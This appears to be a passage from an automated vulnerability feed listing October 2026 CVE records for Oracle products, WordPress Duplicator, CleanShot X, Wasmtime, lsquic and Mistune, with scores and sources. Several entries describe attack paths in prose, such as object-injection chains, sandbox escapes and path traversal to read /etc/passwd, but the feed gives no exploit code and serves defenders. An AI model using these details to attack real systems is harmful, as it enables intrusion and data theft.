Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91349).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91349&date=2026-10-25).
Sources:
NVD CVE-2026-91349: https://nvd.nist.gov/vuln/detail/CVE-2026-91349
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91349&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91345
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91345).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91345&date=2026-10-25).
Sources:
NVD CVE-2026-91345: https://nvd.nist.gov/vuln/detail/CVE-2026-91345
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91345&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91344
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91344).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91344&date=2026-10-25).
Sources:
NVD CVE-2026-91344: https://nvd.nist.gov/vuln/detail/CVE-2026-91344
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91344&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).
https://kevwire.com/record/CVE-2026-91255
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91255).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91255&date=2026-10-25).
Sources:
NVD CVE-2026-91255: https://nvd.nist.gov/vuln/detail/CVE-2026-91255
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91255&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).
https://kevwire.com/record/CVE-2026-91254
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91254).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91254&date=2026-10-25).
Sources:
NVD CVE-2026-91254: https://nvd.nist.gov/vuln/detail/CVE-2026-91254
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91254&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-87398
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87398).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87398&date=2026-10-25).
Sources:
NVD CVE-2026-87398: https://nvd.nist.gov/vuln/detail/CVE-2026-87398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87398&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-87395
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87395).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87395&date=2026-10-25).
Sources:
NVD CVE-2026-87395: https://nvd.nist.gov/vuln/detail/CVE-2026-87395
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87395&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-87369
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Service Bus. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87369).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87369&date=2026-10-25).
Sources:
NVD CVE-2026-87369: https://nvd.nist.gov/vuln/detail/CVE-2026-87369
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87369&date=2026-10-25
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Service Bus. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution.
https://kevwire.com/record/CVE-2026-85079
In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution. (Oct 22, 2026).
In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution. This response must come from a device that has already joined the network, and the attacker must wait for a Simple_Desc_req before the attack can be performed.
CVSS 7.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85079).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85079&date=2026-10-25).
Sources:
NVD CVE-2026-85079: https://nvd.nist.gov/vuln/detail/CVE-2026-85079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85079&date=2026-10-25
In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution. This response must come from a device that has already joined the network, and the attacker must wait for a Simple_Desc_req before the attack can be performed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via...
https://kevwire.com/record/CVE-2026-82814
The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via... (Oct 21, 2026).
The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via deserialization of untrusted database content in DUPX_UpdateEngine::unserializeTest() during migration. This allows unauthenticated attackers to store a serialized object in public site content before an administrator builds a package and later performs a migration or import that runs database search-and-replace. Duplicator Free bundles a Requests 1.7 POP chain that permits attacker-selected callbacks, resulting in direct operating-system command execution. Duplicator Pro bundles an IndexList destructor gadget that permits deletion of an attacker-selected existing file when its containing directory is writable by the installer PHP process; deletion of wp-config.php can expose the setup wizard and lead to site takeover and code execution if the attacker reaches it first and supplies a reachable database they control. The package must be created after the carrier is stored, and a later administrator migration action is required.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82814).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82814&date=2026-10-25).
Sources:
NVD CVE-2026-82814: https://nvd.nist.gov/vuln/detail/CVE-2026-82814
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82814&date=2026-10-25
The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via deserialization of untrusted database content in DUPX_UpdateEngine::unserializeTest() during migration. This allows unauthenticated attackers to store a serialized object in public site content before an administrator builds a package and later performs a migration or import that runs database search-and-replace. Duplicator Free bundles a Requests 1.7 POP chain that permits attacker-selected callbacks, resulting in direct operating-system command execution. Duplicator Pro bundles an IndexList destructor gadget that permits deletion of an attacker-selected existing file when its containing directory is writable by the installer PHP process; deletion of wp-config.php can expose the setup wizard and lead to site takeover and code execution if the attacker reaches it first and supplies a reachable database they control. The package must be created after the carrier is stored, and a later administrator migration action is required.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations).
https://kevwire.com/record/CVE-2026-16477
CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations). (Oct 22, 2026).
CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations). Exploitation requires an attacker to craft a malicious .cleanshot file, deliver it to the target, and have the target open it; the payload then executes automatically during parsing, resulting in arbitrary code execution in the context of the current user. Users who have never opened a .cleanshot file from an untrusted source are not affected by this vulnerability. This vulnerability was fixed in versions: 4.5.2, 4.6.3, 4.7.8 and 4.8.10
CVSS 8.4 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16477).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16477&date=2026-10-25).
Sources:
NVD CVE-2026-16477: https://nvd.nist.gov/vuln/detail/CVE-2026-16477
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16477&date=2026-10-25
CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations). Exploitation requires an attacker to craft a malicious .cleanshot file, deliver it to the target, and have the target open it; the payload then executes automatically during parsing, resulting in arbitrary code execution in the context of the current user. Users who have never opened a .cleanshot file from an untrusted source are not affected by this vulnerability. This vulnerability was fixed in versions: 4.5.2, 4.6.3, 4.7.8 and 4.8.10

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK...
https://kevwire.com/record/CVE-2026-115482
In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK... (Oct 22, 2026).
In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK amplification attack. This is related to header_out_dynamic_entry and es_max_header_list_size.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115482).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115482&date=2026-10-25).
Sources:
NVD CVE-2026-115482: https://nvd.nist.gov/vuln/detail/CVE-2026-115482
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115482&date=2026-10-25
In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK amplification attack. This is related to header_out_dynamic_entry and es_max_header_list_size.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency...
https://kevwire.com/record/CVE-2026-115392
Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency... (Oct 22, 2026).
Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency mishandles symlinks with trailing slashes on macOS and Linux kernels lacking openat2. A guest with write access to any sandboxed directory can read and write any host-accessible file, and read-only guests may read host files via preexisting symlinks.
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115392).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115392&date=2026-10-25).
Sources:
NVD CVE-2026-115392: https://nvd.nist.gov/vuln/detail/CVE-2026-115392
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115392&date=2026-10-25
Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency mishandles symlinks with trailing slashes on macOS and Linux kernels lacking openat2. A guest with write access to any sandboxed directory can read and write any host-accessible file, and read-only guests may read host files via preexisting symlinks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via...
https://kevwire.com/record/CVE-2026-115384
Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via... (Oct 22, 2026).
Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via unvalidated async callback result types. Attackers can supply components with mistyped component-model-async callback functions to overwrite return addresses, crashing the host or escaping the sandbox.
CVSS 9.4 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115384).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115384&date=2026-10-25).
Sources:
NVD CVE-2026-115384: https://nvd.nist.gov/vuln/detail/CVE-2026-115384
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115384&date=2026-10-25
Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via unvalidated async callback result types. Attackers can supply components with mistyped component-model-async callback functions to overwrite return addresses, crashing the host or escaping the sandbox.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include...
https://kevwire.com/record/CVE-2026-115354
Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include... (Oct 22, 2026).
Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include paths. Attackers who submit Markdown rendered via Markdown.read() can disclose files such as /etc/passwd and inject unescaped HTML or script content into rendered output.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115354).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115354&date=2026-10-25).
Sources:
NVD CVE-2026-115354: https://nvd.nist.gov/vuln/detail/CVE-2026-115354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115354&date=2026-10-25
Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include paths. Attackers who submit Markdown rendered via Markdown.read() can disclose files such as /etc/passwd and inject unescaped HTML or script content into rendered output.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths.
https://kevwire.com/record/CVE-2026-115353
Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths. (Oct 22, 2026).
Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths. Attackers can submit markdown containing include directives referencing ../ sequences or absolute paths to embed sensitive files like credentials or environment data in rendered HTML.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115353).
